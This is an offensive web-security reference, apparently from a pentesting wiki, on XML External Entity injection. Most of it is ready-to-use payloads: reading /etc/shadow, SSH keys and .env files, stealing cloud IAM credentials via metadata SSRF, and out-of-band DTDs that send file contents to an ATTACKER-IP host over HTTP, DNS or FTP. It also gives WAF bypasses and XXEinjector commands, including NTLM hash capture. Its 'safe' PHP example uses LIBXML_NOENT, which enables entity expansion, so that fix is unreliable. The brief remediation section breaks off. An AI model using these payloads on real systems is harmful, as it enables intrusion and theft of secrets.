ᛉ Yggdrasil

Web

XML External Entity Injection

15 Sep 2026 · 5,194 words · 24 min

Contents

A complete operational reference for XML External Entity Injection (XXE) covering detection, in-band file read, SSRF via XXE, blind XXE with OOB exfiltration, error-based XXE, XInclude attacks, SVG/XLSX/DOCX file upload vectors, XXE via HTTP headers, parameter entity chaining, filter bypass, automation with tools, and remediation. Mapped to MITRE ATT&CK T1190 / T1083 / T1552.


1. Core Concepts & XXE Types

XXE TAXONOMY:

XML EXTERNAL ENTITY INJECTION
├── IN-BAND (result returned in HTTP response)
│   ├── Classic — external entity resolves & is reflected in response
│   └── Error-based — entity triggers an error that leaks file content
│
├── BLIND (no direct output in response)
│   ├── Out-of-Band (OOB) — data exfiltrated via DNS/HTTP callback
│   └── Boolean-based — infer content via different error messages
│
├── SSRF — external entity points to internal HTTP endpoint
│
└── STORED (second-order)
    └── Payload stored (e.g. in a file upload) → parsed later

Key Terms: - DTD — Document Type Definition. Defines the structure and allowed entities in an XML document. Can be internal (inline) or external (fetched via URL). - Entity — A shorthand reference in XML. &name; expands to a string value. External entities fetch content from a URI. - External Entity — <!ENTITY name SYSTEM "URI"> — resolves the URI and substitutes its content. The attack surface. - Parameter Entity — %name; — entity only usable within the DTD itself (not in the document body). Used for blind OOB exfiltration chains. - SYSTEM identifier — URI in SYSTEM "..." that the XML parser fetches: file://, http://, ftp://, php://, etc. - PUBLIC identifier — Alternative to SYSTEM, specifies a public ID string + optional URI. - XInclude — W3C spec for XML document inclusion. An alternative XXE vector when the attacker can't control the DOCTYPE. - OOB — Out-of-Band exfiltration: data exfiltrated via DNS lookup or HTTP request to attacker-controlled server. - CDATA — Character Data section. <![CDATA[...]]> — content inside is treated as raw text (not parsed as XML). Used to wrap file content containing XML special chars during exfiltration.

Why It Happens: The application parses XML supplied by the user with an insecure XML parser that has external entity processing enabled:

# Python / lxml — VULNERABLE (resolve_entities=True is default in some parsers):
from lxml import etree

def parse_xml(xml_data):
    parser = etree.XMLParser()         # no restrictions
    tree = etree.fromstring(xml_data, parser)
    return tree

# SAFE — disable external entity resolution:
def parse_xml(xml_data):
    parser = etree.XMLParser(
        resolve_entities=False,
        no_network=True,
        load_dtd=False
    )
    tree = etree.fromstring(xml_data, parser)
    return tree
// Java / DocumentBuilder — VULNERABLE (external entities enabled by default):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));

// SAFE:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
// PHP / SimpleXML / DOMDocument — VULNERABLE:
$doc = simplexml_load_string($xml);

// SAFE — disable external entities before parsing:
libxml_disable_entity_loader(true);   // PHP < 8.0
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);

XML Entity Types Quick Reference:

Type Syntax Where usable Purpose
Internal General <!ENTITY name "value"> Document body String substitution
External General <!ENTITY name SYSTEM "uri"> Document body Fetch external content
Internal Parameter <!ENTITY % name "value"> DTD only DTD-level substitution
External Parameter <!ENTITY % name SYSTEM "uri"> DTD only Fetch external DTD
Unparsed <!ENTITY name SYSTEM "uri" NDATA type> Special use Binary data reference

2. Detection & Injection Points

2.1 Common XXE Injection Points

→ XML request bodies:      SOAP, XML-RPC, REST APIs accepting application/xml
→ File uploads:            .docx, .xlsx, .pptx, .svg, .xml, .gpx, .kml, .rss
→ SVG rendering:           Image uploads where SVG is parsed server-side
→ PDF generators:          Tools that accept XML/SVG input
→ RSS/Atom feed parsers:   User-supplied feed URLs parsed server-side
→ SAML SSO:                XML-based auth tokens → high-impact target
→ XML-based config:        Import/export features with XML format
→ HTTP headers:            Content-Type switched from JSON to XML
→ JSON → XML converters:   Some frameworks auto-convert JSON to XML
→ XLSX/DOCX cell content:  Data in spreadsheet cells parsed as XML
→ XPath injection:         XML-backed databases (rare)
→ GraphQL:                 If server converts GraphQL to XML internally
→ X.509 certificates:      XML metadata fields (rare, niche)

2.2 Identifying XML Parsers

# Signs the application parses XML:
# - Sends XML in request body (Content-Type: application/xml, text/xml)
# - Accepts .xml / .svg / .docx / .xlsx file uploads
# - SOAP endpoints (/service, /ws, /api/soap, /WS)
# - Responds with XML output
# - Error messages mentioning XML / SAX / DOM / entity

# Error-based fingerprinting — send malformed XML:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test "hello">]>
<data>&test;</data>
# → If "hello" appears in response → entity expansion enabled → XXE likely

# Detect by breaking the XML:
<?xml version="1.0"?>
<data><unclosed>
# → XML parse error in response → confirms XML parsing

2.3 SAML — High-Value XXE Target

SAML assertions are base64-encoded XML sent in:
→ SAMLResponse parameter (POST to SP /acs endpoint)
→ SAMLRequest parameter (redirect-binding)
→ Decoded, modified, and re-encoded before sending

To test:
1. Intercept SAML flow in Burp
2. Base64-decode the SAMLResponse
3. Inject XXE payload in the XML before the root element
4. Re-encode to base64
5. Submit — check for OOB callback / file content in error

3. In-Band XXE — File Read

3.1 Basic File Read Template

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>
<!-- SYSTEM with http:// for SSRF confirmation: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://ATTACKER-IP/ssrf-test">
]>
<root><data>&xxe;</data></root>

3.2 Common Files to Read

<!-- Linux: -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file:///etc/shadow">
<!ENTITY xxe SYSTEM "file:///etc/hosts">
<!ENTITY xxe SYSTEM "file:///etc/hostname">
<!ENTITY xxe SYSTEM "file:///etc/issue">
<!ENTITY xxe SYSTEM "file:///proc/self/environ">
<!ENTITY xxe SYSTEM "file:///proc/self/cmdline">
<!ENTITY xxe SYSTEM "file:///proc/net/tcp">
<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">
<!ENTITY xxe SYSTEM "file:///home/user/.ssh/id_rsa">
<!ENTITY xxe SYSTEM "file:///home/user/.bash_history">
<!ENTITY xxe SYSTEM "file:///var/www/html/index.php">
<!ENTITY xxe SYSTEM "file:///app/config.py">
<!ENTITY xxe SYSTEM "file:///app/settings.py">
<!ENTITY xxe SYSTEM "file:///app/.env">
<!ENTITY xxe SYSTEM "file:///var/log/nginx/access.log">
<!ENTITY xxe SYSTEM "file:///etc/nginx/nginx.conf">
<!ENTITY xxe SYSTEM "file:///etc/apache2/apache2.conf">
<!ENTITY xxe SYSTEM "file:///etc/mysql/my.cnf">

<!-- Windows: -->
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
<!ENTITY xxe SYSTEM "file:///C:/inetpub/wwwroot/web.config">
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY xxe SYSTEM "file:///C:/Users/Administrator/Desktop/flag.txt">
<!ENTITY xxe SYSTEM "file:///C:/xampp/htdocs/config.php">

3.3 PHP-Specific File Read (Base64 via php://)

<!-- Use php://filter to base64-encode content before it's returned.
     Avoids issues with XML-special characters in source code. -->

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- Other useful PHP wrappers: -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=../config.php">
<!ENTITY xxe SYSTEM "php://filter/read=string.toupper/resource=/etc/passwd">

<!-- php://input — echo back POST body (useful for confirming injection): -->
<!ENTITY xxe SYSTEM "php://input">

3.4 Handling File Content with XML Special Characters

<!-- Problem: file content may contain <, >, &, ', " → breaks XML parsing
     Solution: wrap in CDATA section using parameter entities -->

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % content SYSTEM "file:///etc/passwd">
  <!ENTITY % end "]]>">
  <!ENTITY % wrap "<!ENTITY joined '%start;%content;%end;'>">
  %wrap;
]>
<root><data>&joined;</data></root>

<!-- Note: most parsers restrict this because it requires combining
     parameter entities. If blocked, use OOB exfiltration instead. -->

4. XXE to SSRF

4.1 Internal HTTP Requests

<!-- Hit internal services via http:// entity: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>

<!-- AWS IMDSv1 — steal IAM credentials: -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!-- First get role name, then: -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME">

<!-- GCP metadata: -->
<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/?recursive=true">
<!-- Note: GCP requires Metadata-Flavor: Google header — less exploitable via XXE alone -->

<!-- Internal service enumeration: -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">     <!-- Redis banner -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:9200/">     <!-- Elasticsearch -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/info"> <!-- Docker API -->
<!ENTITY xxe SYSTEM "http://192.168.0.1/">

4.2 Protocol Support per Parser

Parser              file://  http://  ftp://  php://  gopher://
───────────────────────────────────────────────────────────────
Java (Xerces)         ✓        ✓        ✓        ✗        ✗
PHP (libxml2)         ✓        ✓        ✓        ✓        ✓ (some)
Python (lxml)         ✓        ✓        ✗        ✗        ✗
Python (stdlib xml)   ✓        ✓        ✗        ✗        ✗
.NET (XmlReader)      ✓        ✓        ✗        ✗        ✗
Ruby (Nokogiri)       ✓        ✓        ✗        ✗        ✗

5. Blind XXE — OOB Exfiltration

5.1 Setup — OOB Infrastructure

# interactsh (best for automated DNS + HTTP capture):
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# → Gives you: xxxx.oast.fun → use in payloads

# Burp Collaborator (Pro):
# Project options → Burp Collaborator → Generate payload
# → xxxx.oastify.com → check Collaborator for DNS/HTTP callbacks

# Self-hosted listener:
python3 -m http.server 80          # HTTP callbacks
nc -lvnp 80                        # raw TCP

# For serving external DTD files:
# Host malicious.dtd on your HTTP server
python3 -m http.server 8080        # serve DTD at http://ATTACKER-IP:8080/malicious.dtd

5.2 OOB Confirmation — No File Read Needed

<!-- Step 1: Confirm blind XXE with DNS callback: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.oastify.com/xxe-confirm">
  %xxe;
]>
<root><data>test</data></root>

<!-- DNS lookup received → XML parser made outbound request → blind XXE confirmed -->

5.3 OOB File Exfiltration via External DTD

<!-- Attack XML sent to target (references attacker's DTD): -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER-IP:8080/malicious.dtd">
  %xxe;
]>
<root><data>test</data></root>
<!-- malicious.dtd — hosted on attacker's server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://ATTACKER-IP:8080/?data=%file;'>">
%wrap;
%send;
How it works:
1. Target XML parser fetches malicious.dtd from attacker server
2. DTD defines %file → reads /etc/passwd content
3. %wrap defines %send → HTTP request to attacker with file content in URL param
4. %send fires → attacker receives GET /?data=root:x:0:0:root:/root... in HTTP log

5.4 OOB via DNS — Subdomain Exfiltration

<!-- malicious.dtd for DNS-based exfiltration (when HTTP is blocked outbound): -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://%file;.ATTACKER-DOMAIN/'>">
%wrap;
%send;
<!-- Hostname appears as DNS subdomain: app-server-01.ATTACKER-DOMAIN → captured in DNS log -->

5.5 OOB — FTP Exfiltration (Alternative)

<!-- Some parsers allow multi-line data over FTP (avoids HTTP URL encoding issues): -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'ftp://ATTACKER-IP:2121/%file;'>">
%wrap;
%send;

<!-- FTP listener: -->
<!-- python3 -m pyftpdlib -p 2121 -i 0.0.0.0 -->

5.6 Blind XXE — Exfiltrating Multi-Line Files

<!-- Problem: file content with newlines breaks URL params
     Solution: base64-encode via php:// (PHP only) or use CDATA wrapping -->

<!-- PHP target — base64 encode the file first: -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://ATTACKER-IP/?data=%file;'>">
%wrap;
%send;
<!-- Receive base64 string → decode: echo "BASE64" | base64 -d -->

<!-- Non-PHP: read line by line or accept URL-encoded newlines in log -->

6. Error-Based XXE

6.1 Error-Based Local File Exfiltration

<!-- Technique: trigger an XML parsing error that includes the file content
     in the error message. Works when:
     - No OOB outbound connections allowed
     - Application returns verbose XML errors -->

<!-- Method 1: Reference a nonexistent path containing the file content: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % wrap "<!ENTITY &#x25; err SYSTEM 'file:///nonexistent/%file;'>">
  %wrap;
  %err;
]>
<root/>

<!-- The parser tries to open /nonexistent/<file content> → error includes the content.
     Error message example:
     java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash... -->
<!-- Method 2: Undefined entity in error context: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % wrap "<!ENTITY &#x25; err '<!ENTITY leak SYSTEM \"file:///nonexistent/%file;\">'>">
  %wrap;
  %err;
  &leak;
]>
<root/>

6.2 Error-Based via External DTD

<!-- Attack XML: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER-IP/error.dtd">
  %xxe;
]>
<root/>
<!-- error.dtd: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; err SYSTEM 'file:///nonexistent/%file;'>">
%wrap;
%err;

7. XInclude Attacks

7.1 What Is XInclude

XInclude (XML Inclusions) is a W3C standard for merging XML documents.
It's an alternative XXE vector when:
- Attacker cannot control the DOCTYPE declaration
- Only controls a value within the XML document body
- Server-side XML processing applies XInclude expansion

XInclude namespace: http://www.w3.org/2001/XInclude

7.2 Basic XInclude File Read

<!-- Inject into a value/field the application embeds in its XML: -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

<!-- If the field is inside an existing XML document, just inject the element: -->
<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///etc/passwd"/>

7.3 XInclude — When to Use

Use XInclude when:
✓ Only one field / node value is injectable (not the full XML)
✓ DOCTYPE is defined by the server and you cannot override it
✓ The application uses XInclude processing (common in XSLT / XQuery pipelines)
✓ XML signature wrapping — injecting outside the signed region

XInclude supports:
- parse="xml"   → include as parsed XML (default)
- parse="text"  → include as raw text (what you want for file read)
- href="URI"    → file:// and http:// supported

8. XXE via File Upload

8.1 SVG File Upload

<!-- SVG is XML. If the server renders or processes uploaded SVGs, inject XXE: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
  <text x="10" y="20">&xxe;</text>
</svg>
<!-- SVG + SSRF / OOB: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY % xxe SYSTEM "http://ATTACKER-IP/malicious.dtd">
  %xxe;
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="20">test</text>
</svg>

8.2 DOCX / XLSX / PPTX File Upload

Office Open XML (.docx, .xlsx, .pptx) files are ZIP archives containing XML files.
If the server parses these XML files with an unsafe parser, XXE is possible.

Key XML files inside a .docx:
  word/document.xml         → main content
  [Content_Types].xml       → content type map
  word/_rels/document.xml.rels → relationships
  docProps/core.xml         → metadata

Attack:
1. Unzip a legitimate .docx file
2. Inject XXE entity into word/document.xml (or [Content_Types].xml)
3. Re-zip the archive → upload the modified .docx
# Modifying a DOCX to inject XXE:
mkdir xxe_docx && cd xxe_docx
cp /path/to/legit.docx .
unzip legit.docx -d extracted/
cd extracted/

# Edit word/document.xml — add XXE before the root element:
# Insert: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then reference: &xxe; somewhere inside <w:body>

# Re-zip:
cd extracted/
zip -r ../malicious.docx .
# Upload malicious.docx to the target
<!-- Modified [Content_Types].xml (simpler injection point): -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER-IP/malicious.dtd">
  %xxe;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  ...original content...
</Types>

8.3 GPX / KML / RSS / Atom

<!-- GPX (GPS Exchange Format) — parsed by map/fitness apps: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<gpx version="1.1" xmlns="http://www.topografix.com/GPX/1/1">
  <metadata><name>&xxe;</name></metadata>
</gpx>

<!-- KML (Keyhole Markup Language) — parsed by Google Maps, GIS apps: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<kml xmlns="http://www.opengis.net/kml/2.2">
  <Document><name>&xxe;</name></Document>
</kml>

<!-- RSS Feed: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<rss version="2.0">
  <channel><title>&xxe;</title></channel>
</rss>

8.4 PDF Generators (via SVG/XML input)

<!-- Tools like wkhtmltopdf, PhantomJS, Headless Chrome may process SVG in HTML.
     If the server renders HTML-containing-SVG to PDF, embed XXE in the SVG. -->

<!-- In an HTML page rendered to PDF: -->
<html>
<body>
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="file:///etc/passwd" />
</svg>
</body>
</html>
<!-- wkhtmltopdf fetches file:///etc/passwd and embeds it in PDF -->

9. XXE via HTTP Headers & Content-Type Switching

9.1 Content-Type Switch Attack

# Many APIs accept both JSON and XML. Try switching Content-Type:

# Original JSON request:
POST /api/data HTTP/1.1
Content-Type: application/json
{"user":"alice","action":"view"}

# Switch to XML:
POST /api/data HTTP/1.1
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <user>&xxe;</user>
  <action>view</action>
</root>

# Other Content-Type values to try:
# text/xml
# application/xhtml+xml
# application/atom+xml
# application/rss+xml
# application/soap+xml

9.2 SOAP Endpoints

<!-- SOAP uses XML — always test SOAP endpoints for XXE: -->
POST /service/endpoint HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:action"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:web="http://service.example.com/">
  <soapenv:Header/>
  <soapenv:Body>
    <web:getData>
      <web:input>&xxe;</web:input>
    </web:getData>
  </soapenv:Body>
</soapenv:Envelope>

9.3 XXE via User-Agent / Referer (Rare)

# Some logging or analytics pipelines parse User-Agent as XML.
# If the app stores User-Agent in an XML document and re-parses it:

GET / HTTP/1.1
User-Agent: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

# Similarly for X-Forwarded-For, Referer — less common but worth noting.

10. Advanced Entity Techniques

10.1 Parameter Entity Chaining

<!-- Parameter entities (%name;) are evaluated at DTD-parse time,
     allowing dynamic construction of entity declarations.
     Core technique for OOB exfiltration. -->

<!-- Level 1 — simple parameter entity: -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://ATTACKER-IP/oob.dtd">
  %dtd;
]>
<foo/>

<!-- oob.dtd: -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP/?x=%file;'>">
%all;
<!-- Then in root document: -->
<!-- &send; -->

<!-- Level 2 — full self-contained OOB in external DTD: -->
<!-- (see Section 5 for complete examples) -->

10.2 Recursive / Billion Laughs (DoS — Reference Only)

<!-- XML Entity Expansion attack — causes exponential memory usage.
     10 nested entities each expanding 10× = 10^9 (billion) expansions.
     Documented for awareness — causes DoS, not data exfil. -->

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- ... up to lol9 -->
]>
<root>&lol9;</root>
<!-- Mitigated by entity expansion limits in modern parsers -->

10.3 DOCTYPE Injection into Existing XML

<!-- If you can only inject into the middle of an existing XML document
     (not before <?xml?>), try to close the existing element and add your own: -->

<!-- Original XML (you control [USER_INPUT]): -->
<request><user>[USER_INPUT]</user><action>view</action></request>

<!-- Inject to close tags and add new content: -->
</user></request>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<request><user>test&xxe;</user><x>

10.4 Namespace-Based Entity Injection

<!-- Some parsers process namespace declarations as entities.
     Useful when standard DOCTYPE is filtered: -->

<foo xmlns:xi="http://www.w3.org/2001/XInclude"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

10.5 Out-of-Scope Entities (SYSTEM vs PUBLIC)

<!-- PUBLIC identifier — alternative to SYSTEM.
     Some filters block "SYSTEM" keyword: -->

<!DOCTYPE foo [
  <!ENTITY xxe PUBLIC "any-string" "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- Also try: -->
<!ENTITY xxe PUBLIC "-//W3C//TEXT etc-passwd//EN" "file:///etc/passwd">

11. XXE Filter & WAF Bypass

11.1 Encoding Bypass

<!-- Change XML encoding declaration — parser normalizes before WAF sees it: -->
<?xml version="1.0" encoding="UTF-16"?>
<!-- Then encode the entire document in UTF-16 (Big Endian or Little Endian) -->

<?xml version="1.0" encoding="IBM037"?>
<!-- EBCDIC encoding — many WAFs only match ASCII patterns -->

<!-- Python to generate UTF-16 encoded XXE: -->
import sys

payload = '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>'''

with open('xxe_utf16.xml', 'wb') as f:
    f.write(payload.encode('utf-16'))

11.2 DOCTYPE Keyword Obfuscation

<!-- Uppercase / mixed case: -->
<!doctype foo [<!entity xxe system "file:///etc/passwd">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>

<!-- Whitespace variations: -->
<!DOCTYPE   foo [<!ENTITY   xxe SYSTEM  "file:///etc/passwd">]>
<!-- (tabs instead of spaces) -->

<!-- Newlines: -->
<!DOCTYPE foo
[<!ENTITY xxe
SYSTEM "file:///etc/passwd">]>

11.3 URI Scheme Variations

<!-- Alternate file:// representations: -->
<!ENTITY xxe SYSTEM "file:////etc/passwd">       <!-- 4 slashes -->
<!ENTITY xxe SYSTEM "file://localhost/etc/passwd">
<!ENTITY xxe SYSTEM "file:///./etc/passwd">      <!-- dot segment -->

<!-- URL encoding: -->
<!ENTITY xxe SYSTEM "file:///etc/%70asswd">      <!-- p → %70 -->
<!ENTITY xxe SYSTEM "file:///etc/pass%77d">      <!-- w → %77 -->

<!-- HTTP alternatives: -->
<!ENTITY xxe SYSTEM "http://127.0.0.1/">
<!ENTITY xxe SYSTEM "http://[::1]/">
<!ENTITY xxe SYSTEM "http://0.0.0.0/">
<!ENTITY xxe SYSTEM "http://2130706433/">        <!-- 127.0.0.1 decimal -->

11.4 Chunked Transfer Encoding

# Some WAFs inspect request bodies by size.
# Split the XXE payload across chunks (Burp's "chunked" extension helps):
POST /api/xml HTTP/1.1
Transfer-Encoding: chunked
Content-Type: application/xml

1a
<?xml version="1.0"?>
1e
<!DOCTYPE foo [<!ENTITY xxe
18
SYSTEM "file:///etc/passwd"
6
>]><
...

11.5 Nested Entities to Bypass Keyword Filters

<!-- If "SYSTEM" is filtered, try PUBLIC: -->
<!ENTITY xxe PUBLIC "x" "file:///etc/passwd">

<!-- If "file" is filtered, try http:// for OOB: -->
<!ENTITY xxe SYSTEM "http://ATTACKER-IP/?file-blocked-trying-http">

<!-- If entity names are filtered, use numeric character references: -->
<!-- &#x25; = % (for parameter entities inside ENTITY declarations) -->
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://ATTACKER-IP/?d=%file;'>">

11.6 XXE with Stripped DOCTYPE

<!-- If DOCTYPE is stripped by the server/WAF but XInclude is available: -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>
<!-- No DOCTYPE needed — XInclude uses namespace syntax -->

12. Automation — Tools & Wordlists

12.1 XXEinjector

# Automated XXE exploitation:
git clone https://github.com/enjoiz/XXEinjector
cd XXEinjector
ruby XXEinjector.rb --help

# Basic file read (Burp request file):
ruby XXEinjector.rb --host=ATTACKER-IP --file=/etc/passwd \
  --path=/tmp/xxe/ --httpport=8080

# From a Burp request file (mark injection point with XXEINJECT):
ruby XXEinjector.rb --host=ATTACKER-IP --file=/etc/passwd \
  --path=/tmp/xxe/ --httpport=8080 \
  --burpfile=request.txt

# OOB mode:
ruby XXEinjector.rb --host=ATTACKER-IP --file=/etc/passwd \
  --path=/tmp/xxe/ --oob=http --httpport=8080

# Enumerate files:
ruby XXEinjector.rb --host=ATTACKER-IP --enumports --path=/tmp/xxe/

# NTLM hash capture (Windows):
ruby XXEinjector.rb --host=ATTACKER-IP --ntlm --path=/tmp/xxe/ \
  --httpport=8080

# Verbose:
ruby XXEinjector.rb --host=ATTACKER-IP --file=/etc/passwd \
  --path=/tmp/xxe/ --httpport=8080 --verbose

12.2 Burp Suite — XXE Testing

Manual testing:
1. Find XML request (or switch Content-Type to XML)
2. Send to Repeater
3. Add DOCTYPE + entity before the root element
4. Reference entity: &xxe; inside a reflected tag
5. Check response for file content

Active Scanner (Pro):
→ Right-click request → Scan → Burp detects common XXE patterns

Burp Collaborator for blind XXE:
1. Add DOCTYPE with SYSTEM "http://YOUR_COLLABORATOR/"
2. Fire request
3. Check Collaborator panel for DNS/HTTP callback
→ Callback received = blind XXE confirmed

Extensions:
- "Content Type Converter" → switch JSON ↔ XML in one click
- "Upload Scanner" → tests file uploads for XXE automatically

12.3 OWASP ZAP

# Active scan includes XXE checks:
zap-cli --zap-url http://localhost:8080 active-scan --url https://target.com

# XXE-specific scan rule:
# Rules → Active Rules → XML External Entity Attack (Rule ID 40031)

12.4 Nuclei Templates

# Run XXE-specific templates:
nuclei -u https://target.com \
  -t nuclei-templates/vulnerabilities/xxe/ \
  -v

nuclei -u https://target.com \
  -tags xxe \
  -interactsh-server https://oast.fun \
  -v

# SAML-specific XXE:
nuclei -u https://target.com \
  -t nuclei-templates/vulnerabilities/saml/saml-xxe.yaml \
  -v

12.5 Manual Testing Checklist

□ All POST endpoints accepting XML body
□ SOAP endpoints (/service, /ws, /api/soap, ?wsdl)
□ Content-Type switch from JSON to XML
□ File upload endpoints (.svg, .docx, .xlsx, .xml, .gpx, .kml, .rss)
□ SAML SSO flows (base64-decode SAMLResponse → inject → re-encode)
□ XInclude if DOCTYPE injection not possible
□ OOB payload if no in-band response (use Collaborator / interactsh)
□ Error-based if no OOB outbound allowed
□ UTF-16 / EBCDIC if ASCII-based WAF seems to block payloads

12.6 Useful SecLists

# XXE payload wordlists:
/usr/share/seclists/Fuzzing/XXE/
/usr/share/seclists/Fuzzing/XXE/XXE-Fuzzing.txt

# Use with ffuf on XML parameter:
ffuf -u "https://target.com/api/xml" \
  -X POST \
  -H "Content-Type: application/xml" \
  -d "FUZZ" \
  -w /usr/share/seclists/Fuzzing/XXE/XXE-Fuzzing.txt \
  -mr "root:" \
  -v

13. Remediation

13.1 Disable External Entity Processing (Primary Control)

// Java — DocumentBuilderFactory (most common):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Disable DOCTYPE entirely (safest):
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// If DOCTYPE needed, disable external entities:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
